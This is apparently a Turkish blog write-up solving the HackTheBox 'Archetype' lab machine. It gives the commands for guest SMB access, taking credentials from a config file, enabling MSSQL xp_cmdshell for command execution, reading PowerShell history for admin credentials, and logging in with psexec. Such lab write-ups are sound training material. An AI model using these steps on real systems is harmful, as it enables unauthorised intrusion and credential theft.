Ömer'in Yeri

HackTheBox: Archetype Makina Çözümü

Bu yazıda HackTheBox‘ın Starting Point makinalarının ilki olan Archetype’ı nasıl çözdüğümü anlattım.

Araçlar: nmap, smbclient, psexec.py ve Impacket’tan mssqlclient.py

Makinanın IP’sini (10.10.10.27) nmap ile tarayarak başlayalım.

nmap 10.10.10.27

Çıktı bize birkaç portun açık olduğunu gösteriyor. Bunlardan 445 (SMB) ve 1433 (MSSQL) işimize yarayacak gibi duruyor. Öncelikle smbclient ile SMB’den ilerlemeye çalışalım.

smbclient -L //10.10.10.27/ -N   

L parametresi bu adresteki tüm SMB paylaşımlarını listelemeye yarıyor. N ise no password yani misafir kullanıcı olarak bağlanmamızı sağlıyor.

backups isimli paylaşım umut vadediyor, bağlanıp teftiş edelim.

smbclient -N //10.10.10.27/backups

Dizindeki dosyaları kontrol edelim.

dir

prod.dtsConfig dosyası işe yarar görünüyor, indirelim.

get prod.dtsConfig

İçini görmek için cat komutunu kullanabiliriz. Ya da gedit‘te açabiliriz.

cat prod.dtsConfig

Bu dosya SQL sunucusunun yapılandırma dosyalarından biri gibi duruyor. İçinde de bir kullanıcı adı ve şifre mevcut.
Bu giriş bilgileriyle SQL sunucusuna bağlanmayı deneyelim. Bunun için Impacket’ın mssqlclient.py komut dosyasını kullanacağız.

mssqlclient.py ARCHETYPE/[email protected] -windows-auth

Parola sorduğunda az önceki yapılandırma dosyasında bulduğumuz parolayı yazıyoruz.

SQL sunucusuna bağlandık. Önce giriş bilgilerini kullandığımız kullanıcının yetki seviyesini öğrenmeliyiz.

SELECT IS_SRVROLEMEMBER (‘sysadmin’)

Terminal 1 dönerek sysadmin yetkilerine sahip olduğumuzu doğruluyor.

Şimdi xp_cmdshell‘i etkinleştirerek RCE (Remote Command Execution) elde edebiliriz. Aşağıdaki komutları teker teker çalıştırın.

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;

İşe yaradığını doğrulamak için xp_cmdshell’den bir komut geçirelim.

xp_cmdshell whoami

Çıktı olarak giriş yaptığımız kullanıcı adını (archetype\sql_svc) dönerse xp_cmdshell çalışıyor demektir.

User flag’i bu kullanıcının masaüstünden çekmek için aşağıdaki komutu kullanabiliriz.

xp_cmdshell "type C:\Users\sql_svc\Desktop\user.txt"

Root flag’ini ele geçirmek için administrator yetkilerine yükselmemiz lazım. Açıkçası ben burada biraz zorlandım. sql_svc hesabıyla erişebildiğim dizinleri kurcaladım ama bir şey bulamadım. Sonra internette araştırırken konsol geçmişinden bir şeyler bulabileceğimi fark ettim ve gerekli komutu buldum.

xp_cmdshell "type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"

Görüldüğü üzere en son birisi administrator bir hesap ile ‘backups’ paylaşımını açmış. Buradaki giriş bilgileriyle psexec.py kullanarak administrator hesabına bağlanalım. Parola sorduğunda bulduğumuz parolayı girelim.

psexec.py [email protected]

Son olarak root flag’i de bu hesabın masaüstünden alabiliriz.

type C:\Users\administrator\Desktop\root.txt

Archetype == Pwned


Rehber — 25 Eylül 2021

🌑 moda geç.